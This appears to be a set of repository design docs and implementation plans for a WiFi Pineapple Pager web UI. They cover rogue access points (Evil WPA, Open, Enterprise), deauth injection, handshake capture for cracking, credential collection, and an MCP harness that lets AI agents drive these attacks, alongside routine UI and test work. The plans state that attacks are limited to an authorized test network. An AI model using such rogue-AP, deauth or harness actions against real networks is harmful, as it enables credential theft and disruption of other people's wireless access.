||||
`_remove_radio1_ap` calls `_resume_hop()` after resetting
|
||||
`radio1.channel=auto` / `radio1.band=5g`. Every code path that pauses hopping
|
||||
also restores it.
|
||||
|
||||
## 7. Frontend (`www/js/views.js`)
|
||||
|
||||
- `BAND_GROUPS` drives the channel pickers shared by the Open AP and Evil WPA
|
||||
views: a `2.4 GHz` optgroup (1–11), a `5 GHz` optgroup (36–165, DFS channels
|
||||
`52..64` / `100..144` labelled `(DFS)`), and a `6 GHz (WPA3/OWE only)`
|
||||
optgroup (`181..233` step 4).
|
||||
- `chanFreq`/`chanLabel` render `Channel N (… MHz)` (+` (DFS)`),
|
||||
`chanSelect` builds the optgroups and restores a stored value when in range,
|
||||
`bandOfChannel` mirrors `channel_band`.
|
||||
- **Open AP:** channel select + a hint that appears on 6GHz ("…most devices
|
||||
will not associate to an open 6 GHz network.").
|
||||
- **Evil WPA:** a channel select added to the config card; selecting a 6GHz
|
||||
channel disables the `psk2` option and switches to `sae`, with a
|
||||
"6 GHz requires WPA3 (SAE or OWE)." hint. Save payloads for both views
|
||||
include `channel` (Open AP also `country`).
|
||||
|
||||
## 8. Automated verification
|
||||
|
||||
- `tests/test_pineap_bands.py` covers the channel/band helpers
|
||||
(`ChannelBandTest`, `ChannelBandsConsistencyTest`, `ChannelFreqTest`,
|
||||
`BandAuxTest` incl. DFS marker), `get_ap` (`GetApRadio1Test`,
|
||||
`GetApRadio1AbsentTest`, `GetApRadioChannelFallbackTest`) and `set_ap`
|
||||
(`SetApRadio1Test`: 5GHz open writes `radio1` sections + hop pause; 6GHz
|
||||
WPA3-SAE accepted; 6GHz `psk2` rejected; disable removes the radio1 AP and
|
||||
restores hop; 2.4GHz still uses the daemon path; 2.4GHz save removes a stale
|
||||
radio1 AP; mixed 2.4GHz + radio1 rejected).
|
||||
- **All 14 test modules pass at HEAD (`af5ff80`)**, run per-module in separate
|
||||
processes per the repo convention (`test_auth`, `test_core`, `test_loot`,
|
||||
`test_misc`, `test_pineap_bands`, `test_pineap_clients`,
|
||||
`test_pineap_enterprise`, `test_pineap_modes`, `test_pineap_pool`,
|
||||
`test_pineap_proxy`, `test_pineap_settings`, `test_recon`, `test_status`,
|
||||
`test_ws`).
|
||||
|
||||
## 9. On-device verification
|
||||
|
||||
Run against the user's Pager at `172.16.52.1` (Pineapple Pager 24.10.1). All
|
||||
checks passed:
|
||||
|
||||
- **2.4GHz unchanged:** Open AP save (channel 1) leaves `wlan0open`/`radio0`
|
||||
intact and `pineapd.wlan1mon` untouched (`bands=2,5,6`, `hop=1`).
|
||||
- **5GHz Evil WPA (WPA3-SAE, channel 36, VHT80):** `radio1.band=5g`,
|
||||
`channel=36`, `htmode=VHT80`; `wlan1wpa` (netdev named `wlan1wpa` via
|
||||
`option ifname`) comes up beaconing `Test5G` / WPA3 SAE (CCMP);
|
||||
`pineapd.wlan1mon.hop=0`. `get_ap` reports `wpa.enabled=true` (after the
|
||||
`disabled=0` fix).
|
||||
- **Stock Pager UI coexistence:** the stock daemon's own `set_ap` (what the
|
||||
pager UI uses to change the 2.4GHz Evil WPA) tears down the radio1 AP
|
||||
netdev; the `wlan1wpa` UCI section survives and `get_ap` self-heals it with a
|
||||
`wifi reload` (`/sys/class/net/<iface>` missing check). Under rapid reload
|
||||
churn the `mt7921u` driver can transiently return EBUSY; a later reload
|
||||
succeeds. The pager UI itself is unaffected.
|
||||
- **Handshake capture:** `Examine` on channel 36 returns success; handshake
|
||||
logging (`loghandshake`/`logpartialhandshake`) confirmed on. A live WPA
|
||||
handshake file requires a physical client (not exercised).
|
||||
- **Reboot persistence:** `wlan1wpa` UCI, `disabled=0`, `hop=0`, the procd
|
||||
Mark VIII service, and the AP itself all survive reboot.
|
||||
- **Disable path:** removing the 5GHz AP deletes `wlan1wpa`, resets
|
||||
`radio1.channel=auto`/`band=5g`, restores `hop=1`; `wlan1mon` hopping
|
||||
resumes (observed 6GHz ch13 → ch221 in 30s).
|
||||
- **5GHz Open AP:** `wlan1open` (channel 44, open) brings up `Test5GOpen`
|
||||
with `hop=0`.
|
||||
- **6GHz AP:** `radio1.band=6g`, `htmode=HE80`, WPA3 SAE on channel 181
|
||||
(6.855 GHz) comes up.
|
||||
- **Cleanup:** disable restores the 2.4GHz baseline (`pager-open`, channel 1,
|
||||
`hop=1`).
|
||||
|
||||
Known follow-ups: the Clients tab lists only `wlan0*` interfaces, so 5GHz AP
|
||||
clients are not yet shown; live-client handshake capture is untested without a
|
||||
physical client.
|
||||
@@ -0,0 +1,112 @@
|
||||
# Attacks + Sync + Harness Implementation Plan
|
||||
|
||||
> **For agentic workers:** REQUIRED SUB-SKILL: Use superpowers:subagent-driven-development (recommended) or superpowers:executing-plans to implement this plan task-by-task. Steps use checkbox (`- [ ]`) syntax for tracking.
|
||||
|
||||
**Goal:** Ship a trustworthy Mark VIII: one-click Evil WPA/Open/Enterprise attacks, device-truth state sync with a pineapd health monitor, and an on-device MCP harness.
|
||||
|
||||
**Architecture:** Extend the existing single-file `server.py` (pure-socket HTTP/JSON, no deps — the device python3 has no pip) with attack orchestration, a health-monitor thread, UCI-truth state reads, and a Streamable-HTTP MCP endpoint. Extend the vanilla-JS SPA (`www/js/views.js`, `app.js`) with an Attacks section and a Harness page. Tests are stdlib `unittest` with module-level monkeypatching (`tests/test_*.py`), run one module per process.
|
||||
|
||||
**Tech Stack:** Python 3.11 (stdlib only), vanilla JS, UCI (`uci show/set`), daemon unix-socket API (`/tmp/api.sock`), `hak5cmd`/`_pineap`, `iw`, `logread`, `hcxpcapngtool` (on device), MCP Streamable HTTP (2025-06-18).
|
||||
|
||||
## Global Constraints
|
||||
|
||||
- No new Python deps; no pip; device python3-light-compatible (no urllib/http.server/sqlite3 stdlib).
|
||||
- Truth = device state (UCI `/etc/config/wireless`, `/etc/config/pineapd`, `iw dev`, live pineapd socket), never UI cache.
|
||||
- Attacks only against `<authorized-test-ssid>` (authorized). No deauth blasts; band-aware inject only.
|
||||
- SSID pool broadcast stays disabled (stock SIGSEGV bug).
|
||||
- Writes must be verified by re-read before success is reported.
|
||||
- Follow existing code style: `device_run()`, `daemon_sock_call()`, `_daemon_proxy()` helpers; `h()` DOM helper in views; routes registered with `ROUTER.add`.
|
||||
- Tests: `python3 -m unittest tests.test_<module>` (one module per process).
|
||||
|
||||
## File Structure
|
||||
|
||||
- `payload/user/remote_access/pager-webui/server.py` — all backend: attacks API, health monitor, truth reads, MCP endpoint.
|
||||
- `payload/user/remote_access/pager-webui/www/js/views.js` — Attacks + Harness views.
|
||||
- `payload/user/remote_access/pager-webui/www/js/app.js` — routes + side-menu items.
|
||||
- `payload/user/remote_access/pager-webui/www/css/app.css` — small additions for launchers.
|
||||
- `tests/test_attacks.py`, `tests/test_health.py`, `tests/test_mcp.py`, `tests/test_getap.py` — new tests.
|
||||
- `scripts/harness_stdio.py` — optional stdio MCP wrapper for stdio-only agents.
|
||||
|
||||
---
|
||||
|
||||
### Task 1: Backend truth reads — `get_ap` dual-radio + enterprise + mode derivation
|
||||
|
||||
**Files:**
|
||||
- Modify: `payload/user/remote_access/pager-webui/server.py` (h_pineap_wifi_get_ap, h_pineap_mode_get)
|
||||
|
||||
**Interfaces:**
|
||||
- Produces: `GET /api/pineap/wifi/get_ap` → `{open: {...radio0...}, wpa: {...radio0...}, radio1_open: {...}, radio1_wpa: {...}, enterprise: {enabled, ssid, enctype, key}, pool: {...}, radios: {radio0: {band,channel,...}, radio1: {...}}}`
|
||||
- Produces: `GET /api/pineap/mode` → mode derived from live state; never `"unknown"` when `pineap_disabled`/`autossidpool` readable.
|
||||
|
||||
- [ ] **Step 1:** Rework `h_pineap_wifi_get_ap` to read all three AP pairs from UCI (wlan0open/wlan0wpa on radio0, wlan1open/wlan1wpa on radio1, wlan0ent enterprise) and return them as separate objects; include radio device info per radio.
|
||||
- [ ] **Step 2:** Rework `h_pineap_mode_get`: derive mode = `advanced` if `autossidpool is False` or engine mismatch with preset; `passive`/`active` from stored preset ONLY when consistent with live `enabled`+`collect`+`advertise`; else `advanced` (never `unknown`).
|
||||
- [ ] **Step 3:** Update `tests/test_pineap_modes.py` + new `tests/test_getap.py` for the new shapes; run all test modules; commit.
|
||||
|
||||
### Task 2: Attack orchestration backend
|
||||
|
||||
**Files:**
|
||||
- Modify: `payload/user/remote_access/pager-webui/server.py` (new handlers + ROUTER.add)
|
||||
- Test: `tests/test_attacks.py`
|
||||
|
||||
**Interfaces:**
|
||||
- `POST /api/attacks/deploy` body `{kind: 'wpa'|'open'|'enterprise', ...fields}` → applies UCI + daemon, returns `{ok, verified: bool, detail}`
|
||||
- `POST /api/attacks/stop` body `{kind}` → disables AP(s), resumes hop, returns `{ok, verified}`
|
||||
- `GET /api/attacks/status` → per-kind `{active, ssid, iface, channel, band, live (iw dev check), handshakes: n}`
|
||||
- `GET /api/attacks/handshakes` (reuse `h_handshakes_get`), `GET /api/attacks/hc22000` → runs `hcxpcapngtool -o` on captured pcap(s) into `/root/loot/hc22000/` and returns download
|
||||
- `POST /api/attacks/deauth` `{bssid, client, band}` → band-aware inject: 2.4 → `_pineap INTERFACE INJECT wlan0mon` then `PINEAPPLE_DEAUTH_CLIENT`; 5/6 → `wlan1mon`
|
||||
- `POST /api/attacks/enterprise` toggles PineAPE (`pineape_disabled`, `pineape_auth_pass`)
|
||||
|
||||
- [ ] **Step 1:** Write failing tests for deploy/stop/status/deauth (mock `device_run`, `daemon_sock_call`, `hak5`).
|
||||
- [ ] **Step 2:** Implement handlers; verify tests pass; commit.
|
||||
|
||||
### Task 3: Health monitor + stabilization
|
||||
|
||||
**Files:**
|
||||
- Modify: `payload/user/remote_access/pager-webui/server.py` (thread + helpers)
|
||||
- Test: `tests/test_health.py`
|
||||
|
||||
**Interfaces:**
|
||||
- `health_check()` — `_pineap PING`; on failure twice in a row: count SIGSEGV in `logread`; if growing → `uci set pineapd.@ssidpool[0].disable=1`, restart pineapd; bring `wlan1mon` up (`ip link set wlan1mon up`) if `iw dev` shows it down; only one fix action per interval (cooldown 20s).
|
||||
- `start_health_monitor()` — daemon thread every 15s, started on server boot.
|
||||
- `GET /api/health` → `{pineap: 'up'|'down', sigsegv_count, pool_disabled, wlan1mon_up, last_action, fixes: n}`
|
||||
|
||||
- [ ] **Step 1:** Failing tests for health logic (mock `device_run`, `hak5`).
|
||||
- [ ] **Step 2:** Implement; verify on-device that SIGSEGV count stops climbing; commit.
|
||||
|
||||
### Task 4: Attacks UI
|
||||
|
||||
**Files:**
|
||||
- Modify: `www/js/views.js` (3 launchers + shared shell), `www/js/app.js` (routes + menu), `www/css/app.css`
|
||||
|
||||
**Interfaces:**
|
||||
- Menu: `Attacks` (icon `attack`) → `#/attacks` with tabs `#/attacks/wpa`, `#/attacks/open`, `#/attacks/enterprise`.
|
||||
- Each launcher: fields + Deploy/Stop + status card (live from `/api/attacks/status`) + handshake/cred table + export buttons + deauth table of target clients.
|
||||
|
||||
- [ ] **Step 1:** Implement shared launcher shell + Evil WPA page (deploy/stop/status/export/deauth).
|
||||
- [ ] **Step 2:** Evil Open page; Evil Enterprise page (creds table + clear + toggles).
|
||||
- [ ] **Step 3:** Wire routes + menu; manual browser smoke test against device; commit.
|
||||
|
||||
### Task 5: MCP harness server + Harness UI
|
||||
|
||||
**Files:**
|
||||
- Modify: `payload/user/remote_access/pager-webui/server.py` (`/mcp` endpoint)
|
||||
- Create: `scripts/harness_stdio.py`
|
||||
- Modify: `www/js/views.js`, `www/js/app.js` (Harness page)
|
||||
|
||||
**Interfaces:**
|
||||
- `POST /mcp` — Streamable HTTP MCP: `initialize`, `notifications/initialized` (202), `tools/list`, `tools/call`, `resources/list`, `resources/read`, `prompts/list`, `prompts/get`; JSON responses; session cookie auth + Origin validation.
|
||||
- Tools wrap Task 1/2 endpoints + `recon.query` (sqlite3 CLI read-only) + `loot.*`.
|
||||
- Resources: recon tables, handshake files, skill markdown (bundled copies of pineapple-control/wifi-deauth/aircrack-suite), loot listing.
|
||||
- Prompts: `evil-wpa-playbook`, `evil-enterprise-playbook`, `recon-playbook`.
|
||||
- `GET /api/harness/capabilities` → human-readable capability doc for the UI page.
|
||||
|
||||
- [ ] **Step 1:** Failing tests for MCP JSON-RPC dispatch (`tests/test_mcp.py`).
|
||||
- [ ] **Step 2:** Implement `/mcp` + capabilities endpoint; tests pass; commit.
|
||||
- [ ] **Step 3:** Harness UI page (endpoint info, config snippets, capability explorer, pi.dev prompt generator); commit.
|
||||
|
||||
### Task 6: Deploy + on-device verification
|
||||
|
||||
- [ ] **Step 1:** Run full test suite locally (each module separately).
|
||||
- [ ] **Step 2:** Deploy via `./scripts/deploy.sh --password '<device-password>'`.
|
||||
- [ ] **Step 3:** On-device smoke: login, status, health endpoint, attacks deploy/stop round-trip (Evil WPA on 2.4GHz with `<authorized-test-ssid>` SSID — no deauth), enterprise deploy/stop, MCP `initialize`+`tools/list` via curl.
|
||||
- [ ] **Step 4:** Leave device in clean state (no active attacks, hop resumed, pool disabled, wlan1mon up).
|
||||
@@ -0,0 +1,179 @@
|
||||
# Encryption Landscape Card — Ring + Key Redesign Implementation Plan
|
||||
|
||||
> **For agentic workers:** REQUIRED SUB-SKILL: Use superpowers:subagent-driven-development (recommended) or superpowers:executing-plans to implement this plan task-by-task. Steps use checkbox (`- [ ]`) syntax for tracking.
|
||||
|
||||
**Goal:** Replace the Encryption Landscape recon card's text headline + clipped canvas legend with a full-size plain-hole ring graph and a wrapping HTML legend (dot + label + count per encryption bucket).
|
||||
|
||||
**Architecture:** Single-file client-side change: the recon view in `views.js` drops the `encValue`/`encSub` text nodes, draws the doughnut with `legend:false` and a taller height, and populates a new HTML legend container from the existing `encCounts` bucket map. `chart.js`'s `MiniChart.doughnut` is unchanged (its canvas `legend` option is simply no longer used by the enc card). CSS adds flex-wrap legend styles.
|
||||
|
||||
**Tech Stack:** Vanilla JS (no framework), canvas via `MiniChart.doughnut` in `chart.js`, plain CSS in `app.css`. Device deploy via `scripts/deploy.sh --password '<device-password>'`. Tests: none exist for the frontend; verification is via the deployed device + backend test suite (must stay green).
|
||||
|
||||
## Global Constraints
|
||||
|
||||
- Do not alter data source, `reconEncBucket`, per-scan bucketing, re-sync, or the other four recon cards.
|
||||
- Legend entries: colored dot + label + count, format `● WPA2 54`; buckets with zero APs hidden.
|
||||
- Ring center hole stays plain (no text).
|
||||
- Keep `MiniChart.doughnut`'s `legend` option in `chart.js` (used by no caller after this change, but harmless).
|
||||
- Empty state text stays "No encryption data yet — run a scan."
|
||||
- No comments added to code unless already present in the surrounding style.
|
||||
- Deploy and verify on the device; backend `tests/` suite must stay green (291 tests).
|
||||
|
||||
---
|
||||
|
||||
### Task 1: Ring + HTML legend for Encryption Landscape card
|
||||
|
||||
**Files:**
|
||||
- Modify: `payload/user/remote_access/pager-webui/www/js/views.js:1497-1507` (card markup)
|
||||
- Modify: `payload/user/remote_access/pager-webui/www/js/views.js:2256-2322` (drawCharts enc block)
|
||||
- Modify: `payload/user/remote_access/pager-webui/www/css/app.css` (after line 328)
|
||||
- Test: none (frontend); verify via device sweep
|
||||
|
||||
**Interfaces:**
|
||||
- Consumes: `RECON_ENC_BUCKETS` (6 names, `views.js:852`), `RECON_ENC_COLORS` (6 colors, `views.js:851`), `encCounts` object `{bucketName: count}`, `reconEncBucket(a.encryption)`.
|
||||
- Produces: DOM `div#recon-enc-legend` under the enc card body, populated by `drawCharts`; `canvas#recon-encryption` redrawn with `{ legend: false, height: 120 }`. `encValue`/`encSub` variables are removed.
|
||||
|
||||
- [ ] **Step 1: Edit the enc card markup in views.js**
|
||||
|
||||
Replace lines 1497-1507:
|
||||
|
||||
```js
|
||||
const encBody = titleCard('Encryption Landscape', null);
|
||||
const encValue = h('div', { class: 'recon-card-value', text: '—' });
|
||||
const encSub = h('div', { class: 'recon-card-sub', text: '' });
|
||||
encBody.appendChild(encValue);
|
||||
encBody.appendChild(encSub);
|
||||
const encBox = h('div', { class: 'recon-chart-box' });
|
||||
encBody.appendChild(encBox);
|
||||
const encCanvas = h('canvas', { id: 'recon-encryption' });
|
||||
encBox.appendChild(encCanvas);
|
||||
const encEmpty = h('div', { class: 'recon-no-data', text: 'No encryption data yet — run a scan.' });
|
||||
encBox.appendChild(encEmpty);
|
||||
```
|
||||
|
||||
with:
|
||||
|
||||
```js
|
||||
const encBody = titleCard('Encryption Landscape', null);
|
||||
const encBox = h('div', { class: 'recon-chart-box' });
|
||||
encBody.appendChild(encBox);
|
||||
const encCanvas = h('canvas', { id: 'recon-encryption' });
|
||||
encBox.appendChild(encCanvas);
|
||||
const encEmpty = h('div', { class: 'recon-no-data', text: 'No encryption data yet — run a scan.' });
|
||||
encBox.appendChild(encEmpty);
|
||||
const encLegend = h('div', { class: 'recon-enc-legend' });
|
||||
encBody.appendChild(encLegend);
|
||||
```
|
||||
|
||||
- [ ] **Step 2: Remove the enc text-headline computation in drawCharts**
|
||||
|
||||
Replace lines 2256-2266 (the `encCounts` loop stays — only the `topEnc` block goes):
|
||||
|
||||
```js
|
||||
let topEnc = null, topEncN = 0;
|
||||
Object.keys(encCounts).forEach((k) => {
|
||||
if (encCounts[k] > topEncN) { topEnc = k; topEncN = encCounts[k]; }
|
||||
});
|
||||
encValue.textContent = topEnc || '—';
|
||||
encSub.textContent = topEnc ? topEncN + ' of ' + n + ' APs' : '';
|
||||
```
|
||||
|
||||
with nothing (delete those lines). The `encCounts` computation immediately above must remain.
|
||||
|
||||
- [ ] **Step 3: Rewrite the enc chart block in drawCharts**
|
||||
|
||||
Replace lines 2308-2322:
|
||||
|
||||
```js
|
||||
const enc = document.getElementById('recon-encryption');
|
||||
if (enc && typeof MiniChart !== 'undefined' && MiniChart.doughnut) {
|
||||
try {
|
||||
if (aps.length) {
|
||||
MiniChart.doughnut(enc, RECON_ENC_BUCKETS.map((k, i) => ({
|
||||
label: k, value: encCounts[k] || 0, color: RECON_ENC_COLORS[i]
|
||||
})), { legend: true, height: 66 });
|
||||
enc.classList.remove('hidden');
|
||||
encEmpty.classList.add('hidden');
|
||||
} else {
|
||||
enc.classList.add('hidden');
|
||||
encEmpty.classList.remove('hidden');
|
||||
}
|
||||
} catch (e) {}
|
||||
}
|
||||
```
|
||||
|
||||
with:
|
||||
|
||||
```js
|
||||
const enc = document.getElementById('recon-encryption');
|
||||
if (enc && typeof MiniChart !== 'undefined' && MiniChart.doughnut) {
|
||||
try {
|
||||
if (aps.length) {
|
||||
MiniChart.doughnut(enc, RECON_ENC_BUCKETS.map((k, i) => ({
|
||||
label: k, value: encCounts[k] || 0, color: RECON_ENC_COLORS[i]
|
||||
})), { legend: false, height: 120 });
|
||||
enc.classList.remove('hidden');
|
||||
encEmpty.classList.add('hidden');
|
||||
} else {
|
||||
enc.classList.add('hidden');
|
||||
encEmpty.classList.remove('hidden');
|
||||
}
|
||||
} catch (e) {}
|
||||
}
|
||||
const encLegend = document.getElementById('recon-enc-legend');
|
||||
if (encLegend) {
|
||||
encLegend.innerHTML = '';
|
||||
RECON_ENC_BUCKETS.forEach((k, i) => {
|
||||
const c = encCounts[k] || 0;
|
||||
if (!c) return;
|
||||
const entry = h('div', { class: 'recon-enc-entry' });
|
||||
const dot = h('span', { class: 'recon-enc-dot' });
|
||||
dot.style.background = RECON_ENC_COLORS[i];
|
||||
entry.appendChild(dot);
|
||||
entry.appendChild(h('span', { class: 'recon-enc-label', text: k }));
|
||||
entry.appendChild(h('span', { class: 'recon-enc-count', text: String(c) }));
|
||||
encLegend.appendChild(entry);
|
||||
});
|
||||
}
|
||||
```
|
||||
|
||||
- [ ] **Step 4: Add the legend CSS to app.css**
|
||||
|
||||
Insert after line 328 (the `.recon-no-data` rule):
|
||||
|
||||
```css
|
||||
.recon-enc-legend { display: flex; flex-wrap: wrap; gap: 2px 10px; margin-top: 4px; align-items: baseline; }
|
||||
.recon-enc-entry { display: inline-flex; align-items: center; gap: 5px; font-size: 11px; color: var(--text); }
|
||||
.recon-enc-dot { width: 8px; height: 8px; border-radius: 50%; flex: 0 0 auto; }
|
||||
.recon-enc-label { color: var(--muted); }
|
||||
.recon-enc-count { font-weight: 600; color: var(--text); font-variant-numeric: tabular-nums; }
|
||||
```
|
||||
|
||||
- [ ] **Step 5: Syntax check both JS files**
|
||||
|
||||
Run: `node --check payload/user/remote_access/pager-webui/www/js/views.js`
|
||||
Run: `node --check payload/user/remote_access/pager-webui/www/js/chart.js`
|
||||
Expected: exit 0, no output.
|
||||
|
||||
- [ ] **Step 6: Run the backend test suite**
|
||||
|
||||
Run: `cd <repo> && python3 -m pytest tests/ -q 2>&1 | tail -3`
|
||||
Expected: `291 passed` (or the current passing count) — no regressions from unrelated files.
|
||||
|
||||
- [ ] **Step 7: Deploy to the device**
|
||||
|
||||
Run: `cd <repo> && ./scripts/deploy.sh --password '<device-password>'`
|
||||
Expected: deploy completes with `EXTRACT_OK` / success output.
|
||||
|
||||
- [ ] **Step 8: Verify the enc card on the device**
|
||||
|
||||
Recreate the CDP venv if absent (`python3 -m venv /tmp/cdpenv2 && /tmp/cdpenv2/bin/pip install -q websocket-client`), then drive headless Chrome against http://<device-ip>:8080 (login `<device-password>`, go to `#/recon`, wait ~20s) and assert:
|
||||
1. `document.getElementById('recon-encryption')` canvas has non-zero `width` attribute and the card is visible (not `.hidden`).
|
||||
2. `document.getElementById('recon-enc-legend')` contains entries whose text matches `/WPA2/` and `/\d+/`, and no `recon-card-value` element exists inside the enc card.
|
||||
3. Zero `Runtime.exceptionThrown` events.
|
||||
Expected: all three pass; screenshots unavailable, text-state assertions only.
|
||||
|
||||
- [ ] **Step 9: Commit**
|
||||
|
||||
```bash
|
||||
cd <repo> && git add payload/user/remote_access/pager-webui/www/js/views.js payload/user/remote_access/pager-webui/www/css/app.css && git commit -m "ui: encryption landscape card — ring + HTML legend with counts"
|
||||
```
|
||||
@@ -0,0 +1,365 @@
|
||||
# Recon, Reports, Enterprise Certificates, and PineAP Stability Implementation Plan
|
||||
|
||||
> **For agentic workers:** REQUIRED SUB-SKILL: Use superpowers:subagent-driven-development (recommended) or superpowers:executing-plans to implement this plan task-by-task. Steps use checkbox (`- [ ]`) syntax for tracking.
|
||||
|
||||
**Goal:** Make Recon status truthful, enrich offline HTML reports with signal maps, move Handshakes under PineAP, add self-signed Evil Enterprise certificate generation, and contain known `pineapd` crash loops.
|
||||
|
||||
**Architecture:** Preserve the existing single-file Python backend and vanilla-JavaScript SPA conventions. Add small pure helpers around existing Recon, report, enterprise, and health boundaries, with backend-generated state replacing frontend inference. Implement each subsystem test-first and deploy only after the complete local suite passes.
|
||||
|
||||
**Tech Stack:** Python 3.11 standard library and device `python3-light`, BusyBox/OpenWrt commands, OpenSSL CLI, vanilla JavaScript, inline CSS/SVG, `unittest`.
|
||||
|
||||
## Global Constraints
|
||||
|
||||
- Support Pineapple Pager firmware `24.10.1` and daemon SHA-256 `e2cf0453d7e7d2e08bf31a242289e480d44649923a5199eed954d73df0cf1da5`.
|
||||
- Do not add Python packages, frontend packages, a build system, remote assets, or inline report JavaScript.
|
||||
- Do not patch or replace `/usr/sbin/pineapd`.
|
||||
- Keep pool broadcast disabled on known affected and unknown builds.
|
||||
- Preserve existing authentication, same-origin checks, and API error conventions.
|
||||
- Use argv command lists, never shell interpolation, for user-supplied certificate fields.
|
||||
- Preserve unrelated worktree changes and do not stage `loot/` or untracked existing certificate files unless a task explicitly requires them.
|
||||
|
||||
---
|
||||
|
||||
### Task 1: Truthful Recon Coverage State
|
||||
|
||||
**Files:**
|
||||
- Modify: `payload/user/remote_access/pager-webui/server.py:66-79, 1335-1765`
|
||||
- Modify: `payload/user/remote_access/pager-webui/www/js/views.js:1680-1910, 2672-2783`
|
||||
- Test: `tests/test_recon.py:165-512`
|
||||
- Test: `tests/test_env_check.py:202-324`
|
||||
|
||||
**Interfaces:**
|
||||
- Produces: `_recon_coverage(iface, active) -> dict` with `state`, `reason`, and `channel`.
|
||||
- Produces: scan-state keys `baseline_scan_id`, `scan_id`, `settling_until`, and `result_warning`.
|
||||
- Produces: `/api/recon/status` fields `coverage_24`, `scan_id`, and `result_warning`.
|
||||
- Consumes: existing `_recon_hopper_preflight`, `_iface_associated`, `_dummy_sta_borrowable`, `recon_scans_data`, and `_recon_scan_state` lock.
|
||||
|
||||
- [ ] **Step 1: Add failing backend coverage tests**
|
||||
|
||||
Add tests that assert an enabled but unassociated dummy STA is not diagnosed as starvation, a successfully borrowed dummy reports `full`, a failed busy probe reports `current_channel_only` or `pinned` with its observed reason, and hopper interfaces are empty after loop cleanup. Mock `_iface_associated`, `_iface_admin_up`, `_run`, and channel state so each test controls runtime evidence rather than UCI alone.
|
||||
|
||||
- [ ] **Step 2: Run the focused coverage tests and verify failure**
|
||||
|
||||
Run: `python3 -m unittest tests.test_recon.ReconHopperTest tests.test_env_check.EnvCheckTest -v`
|
||||
|
||||
Expected: new assertions fail because status has no `coverage_24` object and completed hopper state retains interfaces.
|
||||
|
||||
- [ ] **Step 3: Implement backend coverage state**
|
||||
|
||||
Add a pure status helper that reports `idle` when no scan is active, `full` only when `wlan0mon` is in the active hopper, `unavailable` when the monitor is absent/down, and otherwise uses the preflight skip reason/current channel to report `pinned` or `current_channel_only`. Store preflight per-interface outcomes in `_recon_hop_state`; do not derive the result solely from `_sta_uplink_enabled()`.
|
||||
|
||||
Clear `_recon_hop_state['ifaces']` in the hopper loop's `finally` block while preserving the last coverage reason long enough for final status polling.
|
||||
|
||||
- [ ] **Step 4: Add failing scan identity tests**
|
||||
|
||||
Add tests that mock the existing maximum scan ID before start, return a newer row after start, and assert status tracks that exact ID. Add a timeout test using a mocked clock that advances 15 seconds beyond duration and asserts `result_warning` is set instead of selecting the prior scan.
|
||||
|
||||
- [ ] **Step 5: Run scan-state tests and verify failure**
|
||||
|
||||
Run: `python3 -m unittest tests.test_recon.ReconScanStateTest -v`
|
||||
|
||||
Expected: failures because `_recon_scan_state` has no baseline/result identity or settlement state.
|
||||
|
||||
- [ ] **Step 6: Implement result association and settlement**
|
||||
|
||||
Before native start, query the maximum scan ID. After acceptance, store it as `baseline_scan_id`. During watchdog/status updates, query for the first row with a greater ID and set `scan_id`. At elapsed duration, allow a 15-second settlement window; after it expires without a row, set `result_warning` and end the run. Reset all identity fields on explicit reset/start.
|
||||
|
||||
- [ ] **Step 7: Update Recon frontend state**
|
||||
|
||||
Render backend `coverage_24` copy instead of the `wlan0Sta && !hop24` fallback. During auto-follow, select `status.scan_id` even when its counts are zero. Show completion only after a tracked result exists, or show the backend result warning after settlement failure. Keep existing styling and ASCII copy.
|
||||
|
||||
- [ ] **Step 8: Run Recon and environment tests**
|
||||
|
||||
Run: `python3 -m unittest tests.test_recon tests.test_env_check -v`
|
||||
|
||||
Expected: PASS.
|
||||
|
||||
- [ ] **Step 9: Commit Recon correctness**
|
||||
|
||||
```bash
|
||||
git add payload/user/remote_access/pager-webui/server.py payload/user/remote_access/pager-webui/www/js/views.js tests/test_recon.py tests/test_env_check.py
|
||||
git commit -m "fix: report observed recon coverage and scan results"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### Task 2: Firmware-Gated pineapd Containment
|
||||
|
||||
**Files:**
|
||||
- Modify: `payload/user/remote_access/pager-webui/server.py:4432-4616, 4667-4814, 6982-6992`
|
||||
- Modify: `payload/user/remote_access/pager-webui/www/js/app.js:516-546`
|
||||
- Modify: `payload/user/remote_access/pager-webui/README.md:112-130`
|
||||
- Modify: `README.md:54-61, 112-130`
|
||||
- Test: `tests/test_health.py`
|
||||
- Test: `tests/test_env_check.py`
|
||||
- Test: `tests/test_robustness.py`
|
||||
|
||||
**Interfaces:**
|
||||
- Produces: `_pineapd_build() -> dict` with `firmware`, `sha256`, and `policy` (`affected` or `unknown`).
|
||||
- Produces: `_reconcile_pineapd_safety() -> dict` listing changed keys and errors.
|
||||
- Produces: health-state keys `events`, `quarantined`, `stable_since`, `build`, and `last_reconcile`.
|
||||
- Produces: `GET /api/health/diagnostics` as a JSON download with no secrets.
|
||||
|
||||
- [ ] **Step 1: Add failing build-policy and reconciliation tests**
|
||||
|
||||
Test the exact affected firmware/hash pair, an unknown hash, the five required safe UCI values, no unrelated UCI writes, one commit only when values changed, and no command-socket ping. Assert unknown builds are reported but not automatically rewritten.
|
||||
|
||||
- [ ] **Step 2: Run focused tests and verify failure**
|
||||
|
||||
Run: `python3 -m unittest tests.test_health tests.test_env_check -v`
|
||||
|
||||
Expected: failures because build policy and production reconciliation do not exist.
|
||||
|
||||
- [ ] **Step 3: Implement build detection and safe reconciliation**
|
||||
|
||||
Read firmware through the existing release parser and hash `/usr/sbin/pineapd` with `sha256sum`. Match the exact affected tuple. On affected builds, compare and set only:
|
||||
|
||||
```text
|
||||
pineapd.@ssidpool[0].disable=1
|
||||
pineapd.wlan2mon.disable=1
|
||||
pineapd.wlan2mon.hop=0
|
||||
pineapd.wlan1mon.bands=5
|
||||
pineapd.wlan0mon.bands=2
|
||||
```
|
||||
|
||||
Commit `pineapd` once if needed. Invoke reconciliation before Mark VIII explicitly starts/restarts the daemon, not continuously while a healthy daemon is running.
|
||||
|
||||
- [ ] **Step 4: Add failing circuit-breaker tests**
|
||||
|
||||
Use a mocked clock and process/SIGSEGV samples to assert three crashes in two minutes enter quarantine, Mark VIII issues no further restart, five stable minutes clear quarantine, and explicit recovery reruns reconciliation. Add pool tests for preserving 64 entries/4096 bytes and quarantining then clearing data above either limit only during a correlated crash loop.
|
||||
|
||||
- [ ] **Step 5: Implement bounded health recovery**
|
||||
|
||||
